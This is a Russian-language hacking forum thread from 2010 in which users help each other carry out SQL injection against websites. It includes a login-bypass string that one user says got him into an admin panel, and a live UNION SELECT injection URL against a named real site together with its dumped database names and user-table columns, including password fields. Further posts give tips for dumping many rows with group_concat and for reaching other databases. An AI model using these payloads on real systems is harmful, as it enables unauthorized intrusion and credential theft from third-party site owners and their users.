Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    В поле email вбей, admin' or '1'='1' --
     
    2 people like this.
  2. iGlass

    iGlass New Member

    Joined:
    14 May 2009
    Messages:
    86
    Likes Received:
    1
    Reputations:
    0
    Выдаёт вот такую ошибку

    Всё получилось ))) Спасибо лови от меня +

    Вот как надо было admin' or '1'='1' -- and password

    И можно описание данного кода?

    именно вот этого куска: admin' or '1'='1' --

    Ладно в админку то я попал.. но это было не особо гланым...

    Как вытащить пароль из базы?
    Заранее спасибо)
     
    #11822 iGlass, 15 Mar 2010
    Last edited: 15 Mar 2010
  3. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Мда, после -- пробел должен быть, в первом запросе ты его не поставил, во втором он есть, вот и сработало.
     
    1 person likes this.
  4. G1G

    G1G Banned

    Joined:
    4 Jun 2009
    Messages:
    24
    Likes Received:
    7
    Reputations:
    0
    Небольшой вопросик , не подкинете хороший словарик для перебора таблиц/колонок ?
     
  5. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    с чего ты взял что это вообще уязвимость?
     
  6. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Помогите вот с этой инъекцией:
    Нашел колонки из этой таблицы, ввожу, а пишет что таблицы - нет. Что не так делаю?
     
  7. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Потому что находится в другой базе данных скорее всего.
     
  8. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    А как можно поменять бд в запросе?
    Вот ошибка такая:
    Т.е. нет таблицы.
    Что посоветуете сделать?

    Если я правильно понял, то в этой таблице логины и пассы от форума, мб не та бд.
    Что делать?
     
  9. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    [-_-]
     
    3 people like this.
  10. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,185
    Likes Received:
    618
    Reputations:
    690
    http://www.bdva.ru/arhiv.phtml?id=-146+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11--

    Version = 5.0.77-log
    User = [email protected]
    Database = bdva

    Code:
    Database:bdva-forum
    
    	information_schema
    	bdva
    	[COLOR=Red]bdva-forum[/COLOR]
    
    Tables:phpbb_users
    	phpbb_auth_access
    	phpbb_banlist
    	phpbb_categories
    	phpbb_config
    	phpbb_confirm
    	phpbb_disallow
    	phpbb_forum_prune
    	phpbb_forums
    	phpbb_groups
    	phpbb_posts
    	phpbb_posts_text
    	phpbb_privmsgs
    	phpbb_privmsgs_text
    	phpbb_ranks
    	phpbb_search_results
    	phpbb_search_wordlist
    	phpbb_search_wordmatch
    	phpbb_sessions
    	phpbb_sessions_keys
    	phpbb_smilies
    	phpbb_themes
    	phpbb_themes_name
    	phpbb_topics
    	phpbb_topics_watch
    	phpbb_user_group
    	phpbb_users
    	phpbb_vote_desc
    	phpbb_vote_results
    	phpbb_vote_voters
    	phpbb_words
    
    Columns: Table phpbb_users
    	user_active
    	username
    	user_password
    	user_session_time
    	user_session_page
    	user_lastvisit
    	user_regdate
    	user_level
    	user_posts
    	user_timezone
    	user_style
    	user_lang
    	user_dateformat
    	user_new_privmsg
    	user_unread_privmsg
    	user_last_privmsg
    	user_emailtime
    	user_viewemail
    	user_attachsig
    	user_allowhtml
    	user_allowbbcode
    	user_allowsmile
    	user_allowavatar
    	user_allow_pm
    	user_allow_viewonline
    	user_notify
    	user_notify_pm
    	user_popup_pm
    	user_rank
    	user_avatar
    	user_avatar_type
    	user_email
    	user_icq
    	user_website
    	user_from
    	user_sig
    	user_sig_bbcode_uid
    	user_aim
    	user_yim
    	user_msnm
    	user_occ
    	user_interests
    	user_actkey
    	user_newpasswd
    	user_login_tries
    	user_last_login_try
    
     
    _________________________
    #11830 shell_c0de, 15 Mar 2010
    Last edited by a moderator: 15 Mar 2010
  11. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Спс! Все пашет!
    Скажите, а как вы узнали другую бд?
    И почему при "bdva-forum.phpbb_users" ошибка,
    а "`bdva-forum`.phpbb_users" все ок?
     
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Потому что MySQL неправильно (для тебя) интерпретирует символ "-", а обрамив название БД кавычками ты ей даешь знать, что именно это - имя базы.
     
  13. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    CyberHunter, все что тебе может пригодиться(или почти все) всегда лежит в текущей бд, а текущую бд узнаешь в самом начале с помощью database()
     
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Откуда такая уверенность? Приведу пример (у меня біл реально такой случай). Был сайт, какие-то объявления. Здесь же была скуля. На этом же сайте же сайте был форум, таблицы которого находилась в отдельной БД, а в текущей - только таблички новостей.

    Так что не факт, что на сайте используется только одна основная БД.
     
    1 person likes this.
  15. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    От чего зависит, когда при иньекции скрипт начнет сливать всю информацию из таблицы, а когда - по одной строке(придется использовать лимиты)?
    Для понятности вопроса имеем, к примеру, иньекцию с полем 2, которое выводится:
    PHP:
    http://site.com/user.php?id=-1+UNION+SELECT+1,2,3--
    При
    PHP:
    http://site.com/user.php?id=-1+UNION+SELECT+1,username,3--
    будет получена только 0 строка из таблицы. Чтобы получить остальные данные, придется использовать лимит, но выводится будет все равно только одна строка.

    Есть ли способы во втором случае сливать более чем одну строку за запрос?
     
  16. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    использовать group_concat(username)

    А одна строка потому что в скрипте строка mysql_fetch_row не в цикле, а вызывается один раз
     
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
     
    1 person likes this.
  18. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    можно получать больше 1000 символов если использовать такою конструкцию
    union+select+1,group_concat(username),3+from+table+where+username>'последнего полученного_значения'
    т.к. результат сортируется по алфавиту
     
    2 people like this.
  19. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Можно всё одним запросом получить - читай эту тему.
     
    3 people like this.
  20. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    ИМХО самое нужное в той теме - это чтобы при просмотре таблиц не включать information_schema(ИМХО лучше всего получать таблицы вообще по базам) и то что выводится по алфавиту
     
Thread Status:
Not open for further replies.